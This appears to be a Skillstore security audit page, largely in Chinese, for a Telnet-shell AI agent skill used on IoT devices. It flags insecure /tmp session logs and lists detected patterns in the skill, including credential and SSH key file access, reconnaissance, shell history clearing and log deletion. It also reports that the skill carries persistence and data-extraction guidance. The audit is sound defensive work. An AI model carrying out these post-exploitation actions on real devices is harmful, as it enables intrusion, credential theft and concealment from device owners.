The skill uses a predictable shared /tmp path for complete Telnet transcripts at SKILL.md:39. Logs can contain commands, responses, credentials, and sensitive target data.
高
Temp directory access
--logfile /tmp/session.log \
The skill uses a predictable shared /tmp path for complete Telnet transcripts at SKILL.md:88. Logs can contain commands, responses, credentials, and sensitive target data.
高
Temp directory access
tail -f /tmp/session.log
The skill uses a predictable shared /tmp path for complete Telnet transcripts at SKILL.md:92. Logs can contain commands, responses, credentials, and sensitive target data.
高
Temp directory access
--logfile, -l FILE Log all I/O to file (default: /tmp/telnet_session.log)
The skill uses a predictable shared /tmp path for complete Telnet transcripts at SKILL.md:116. Logs can contain commands, responses, credentials, and sensitive target data.
高
Temp directory access
LOGFILE="/tmp/telnet_session.log"
The skill uses a predictable shared /tmp path for complete Telnet transcripts at SKILL.md:147. Logs can contain commands, responses, credentials, and sensitive target data.
高
Temp directory access
**IMPORTANT FOR CLAUDE CODE**: When using this skill, ALWAYS include `--logfile /tmp/telnet_session.
The skill uses a predictable shared /tmp path for complete Telnet transcripts at SKILL.md:175. Logs can contain commands, responses, credentials, and sensitive target data.
高
Temp directory access
- **Logging**: `/tmp/telnet_session.log` by default
The skill uses a predictable shared /tmp path for complete Telnet transcripts at SKILL.md:184. Logs can contain commands, responses, credentials, and sensitive target data.
高
Temp directory access
1. **Always log your session**: Default logfile is `/tmp/telnet_session.log`
The skill uses a predictable shared /tmp path for complete Telnet transcripts at SKILL.md:463. Logs can contain commands, responses, credentials, and sensitive target data.
高
Temp directory access
--logfile /tmp/camera_session.log \
The skill uses a predictable shared /tmp path for complete Telnet transcripts at SKILL.md:518. Logs can contain commands, responses, credentials, and sensitive target data.
高
Process spawn
self.conn = pexpect.spawn(cmd, timeout=self.timeout, encoding='utf-8')
The helper spawns the local Telnet client for a user-selected host and then sends arbitrary remote shell commands. This is the skill's active execution boundary.
高
Temp directory access
parser.add_argument('--logfile', '-l', type=str, default='/tmp/telnet_session.log',
The skill uses a predictable shared /tmp path for complete Telnet transcripts at telnet_helper.py:396. Logs can contain commands, responses, credentials, and sensitive target data.
高
Temp directory access
help='Log all I/O to file (default: /tmp/telnet_session.log)')
The skill uses a predictable shared /tmp path for complete Telnet transcripts at telnet_helper.py:397. Logs can contain commands, responses, credentials, and sensitive target data.
高
Python file write/append
self.logfile_handle = open(logfile, 'a', buffering=1) # Line buffered
The helper appends sensitive session traffic to a caller-selected path without secure creation or permission enforcement. Privileged use permits symlink and file-target abuse.
风险因素
📁 文件系统访问 (50)
enum_files.txt:41 enum_files.txt:42 enum_files.txt:41 enum_files.txt:42 enum_network.txt:6 enum_network.txt:10 enum_network.txt:22 enum_network.txt:26 enum_network.txt:33 enum_security.txt:20 enum_security.txt:23 enum_security.txt:26 enum_security.txt:29 enum_security.txt:32 enum_security.txt:35 enum_security.txt:38 enum_security.txt:39 enum_security.txt:40 enum_security.txt:41 enum_security.txt:44 enum_security.txt:45 enum_security.txt:54 enum_system.txt:6 enum_system.txt:10 enum_system.txt:11 enum_system.txt:16 enum_system.txt:28 enum_system.txt:32 enum_system.txt:36 enum_system.txt:37 enum_system.txt:40 examples.md:261 examples.md:262 examples.md:263 examples.md:264 examples.md:265 examples.md:50 examples.md:126 examples.md:211 examples.md:429 examples.md:430 examples.md:166 examples.md:174 examples.md:175 examples.md:176 examples.md:177 examples.md:178 examples.md:179 examples.md:197 examples.md:352
⚙️ 外部命令 (50)
enum_security.txt:53 examples.md:120 examples.md:307 examples.md:340 examples.md:358 examples.md:404 examples.md:438 examples.md:111 examples.md:274 examples.md:399 OBSERVING_SESSIONS.md:182 OBSERVING_SESSIONS.md:222 OBSERVING_SESSIONS.md:270 SKILL.md:12 SKILL.md:13 SKILL.md:18 SKILL.md:22 SKILL.md:25-28 SKILL.md:28-39 SKILL.md:39-46 SKILL.md:46-48 SKILL.md:48-51 SKILL.md:51-53 SKILL.md:53-56 SKILL.md:56-58 SKILL.md:58-61 SKILL.md:61-63 SKILL.md:63-66 SKILL.md:66-70 SKILL.md:70-73 SKILL.md:73-75 SKILL.md:75-78 SKILL.md:78-80 SKILL.md:80-83 SKILL.md:83-93 SKILL.md:93-95 SKILL.md:95-101 SKILL.md:101-118 SKILL.md:118-124 SKILL.md:124-136 SKILL.md:136-142 SKILL.md:142-173 SKILL.md:173-175 SKILL.md:175 SKILL.md:182-183 SKILL.md:183-184 SKILL.md:184-197 SKILL.md:197-208 SKILL.md:208-217 SKILL.md:217-228
🌐 网络访问 (50)
examples.md:244 examples.md:25 examples.md:38 examples.md:56 examples.md:69 examples.md:151 examples.md:163 examples.md:183 examples.md:194 examples.md:209 examples.md:228 examples.md:231 examples.md:239 examples.md:244 examples.md:258 examples.md:279 examples.md:293 examples.md:305 examples.md:306 examples.md:311 examples.md:325 examples.md:349 examples.md:356 examples.md:371 examples.md:391 examples.md:466 examples.md:491 examples.md:502 examples.md:513 OBSERVING_SESSIONS.md:34 OBSERVING_SESSIONS.md:56 OBSERVING_SESSIONS.md:80 OBSERVING_SESSIONS.md:99 OBSERVING_SESSIONS.md:117 OBSERVING_SESSIONS.md:119 OBSERVING_SESSIONS.md:120 OBSERVING_SESSIONS.md:186 OBSERVING_SESSIONS.md:202 OBSERVING_SESSIONS.md:208 OBSERVING_SESSIONS.md:273 SKILL.md:244 SKILL.md:406 SKILL.md:537 SKILL.md:538 SKILL.md:47 SKILL.md:52 SKILL.md:57 SKILL.md:62 SKILL.md:69 SKILL.md:74
检测到的模式
System reconnaissance×21Network reconnaissance×14SSH private key fileSystem password file access×9Sudoers file access×2SSH directory access×5Malware type keywords×4Shell history clearingLog file deletion
审计者: codex 查看审计历史 →
分享与引用此报告
分享版本化评估报告、中性徽章、嵌入卡片和引用。Skillstore 只报告证据，不判断该 Skill 是否安全。
复制报告链接
https://skillstore.io/skills/brownfinesecurity-telnetshell/audits/9?utm_source=security_passport&utm_medium=share&utm_campaign=versioned_reportMarkdown 徽章
[](https://skillstore.io/skills/brownfinesecurity-telnetshell?utm_source=security_passport_badge)HTML 徽章
<a href="https://skillstore.io/skills/brownfinesecurity-telnetshell?utm_source=security_passport_badge"><img src="https://skillstore.io/badges/skills/brownfinesecurity-telnetshell/security.svg" alt="Skillstore security assessment" loading="lazy"></a>嵌入卡片
<iframe src="https://skillstore.io/embed/skills/brownfinesecurity-telnetshell.html" title="Skillstore Security Assessment" sandbox="allow-popups allow-popups-to-escape-sandbox" loading="lazy" referrerpolicy="no-referrer" width="420" height="180"></iframe>学术引用 (APA · BibTeX · CFF)
APA 引用
BrownFineSecurity. (2026). telnetshell security audit report (audit version 9) [Author version unspecified]. Skillstore. https://skillstore.io/skills/brownfinesecurity-telnetshell/audits/9BibTeX 引用
@techreport{brownfinesecurity-brownfinesecurity-telnetshell-2026,
author = {BrownFineSecurity},
title = {telnetshell security audit report (audit version 9)},
institution = {Skillstore},
year = {2026},
number = {9},
url = {https://skillstore.io/skills/brownfinesecurity-telnetshell/audits/9},
note = {Author version unspecified}
}CITATION.cff
cff-version: 1.2.0
message: "If you use this Skill, cite its author and this versioned security audit report."
title: "telnetshell security audit report (audit version 9)"
version: "unspecified"
type: report
authors:
- name: "BrownFineSecurity"
date-released: "2026-07-23"
url: "https://skillstore.io/skills/brownfinesecurity-telnetshell/audits/9"
identifiers:
- type: other
value: "skillstore:brownfinesecurity-telnetshell:audit:9"
description: "Skillstore immutable audit report identifier"
Skillstore 评分
评分依据 证据置信度: 中 55
架构
85
可维护性
87
内容
70
社区
78
规范符合性
你能构建什么
授权 IoT 实验室评估
检查具有已知 telnet shell 的实验室设备，并收集基线系统、网络和文件信息。
BusyBox 设备分诊
针对嵌入式 Linux 设备运行可重复的命令，并规范化嘈杂的 shell 输出以便审查。
Telnet 暴露审查
在获批审计期间记录可达的 telnet 服务、身份验证行为和设备配置。
试试这些提示
连接到实验室设备
使用 telnet shell 技能连接到我在 HOST 的 PORT 上的授权实验室设备，并在启用会话日志记录的情况下运行基本的 uname 检查。
运行系统枚举
针对 HOST 的 PORT 使用提供的系统枚举脚本，保存会话日志，并总结设备身份、kernel、存储和 BusyBox 详细信息。
审查网络配置
通过 telnet 检查授权设备的网络配置，并报告接口、路由、监听服务和防火墙规则。
评估高风险命令
审查 telnet shell 工作流中访问凭据、创建持久化、提取数据或移除证据的命令，并分类哪些步骤应被排除。
最佳实践
- 仅在你拥有或已获得明确书面授权进行测试的设备上使用。
- 妥善保护会话日志，因为其中可能包含凭据和敏感配置。
- 在常规审计期间，将命令限制为非破坏性的清单和验证任务。
避免
- 不要将该辅助工具用于未知的公网 IP 地址或第三方设备。
- 不要通过此工作流添加持久化、后门或 SSH 密钥。
- 不要在测试后删除日志、清除历史记录或隐藏活动。
常见问题
此技能有什么作用？
它帮助 AI 助手连接到可通过 telnet 访问的 IoT shell，并运行结构化的基于命令的检查。
这是否适合在 marketplace 发布？
不安全。经审计的版本包含后渗透、持久化、数据提取和清理指令。
它需要特殊软件吗？
是。它需要本地机器上安装 Python 3、pexpect 和 telnet 客户端。
它能与 BusyBox shell 配合使用吗？
可以。该辅助工具包含适用于常见 BusyBox 型 IoT 设备的提示符模式和示例。
它会存储会话数据吗？
是。该辅助工具默认将 telnet 输入和输出记录到本地日志文件。
在任何安全发布之前应移除哪些内容？
移除关于持久化、后门、凭据收集、固件导出、内部扫描和证据清理的指导。
开发者详情
许可证
MIT
Skillstore 修订
r2
版本提示
作者未声明版本。
引用
a39a91716eadede5f4cdefd78178fed4e837a128
维护新鲜度
2026/7/24
使用量
9 次下载 · 190 次浏览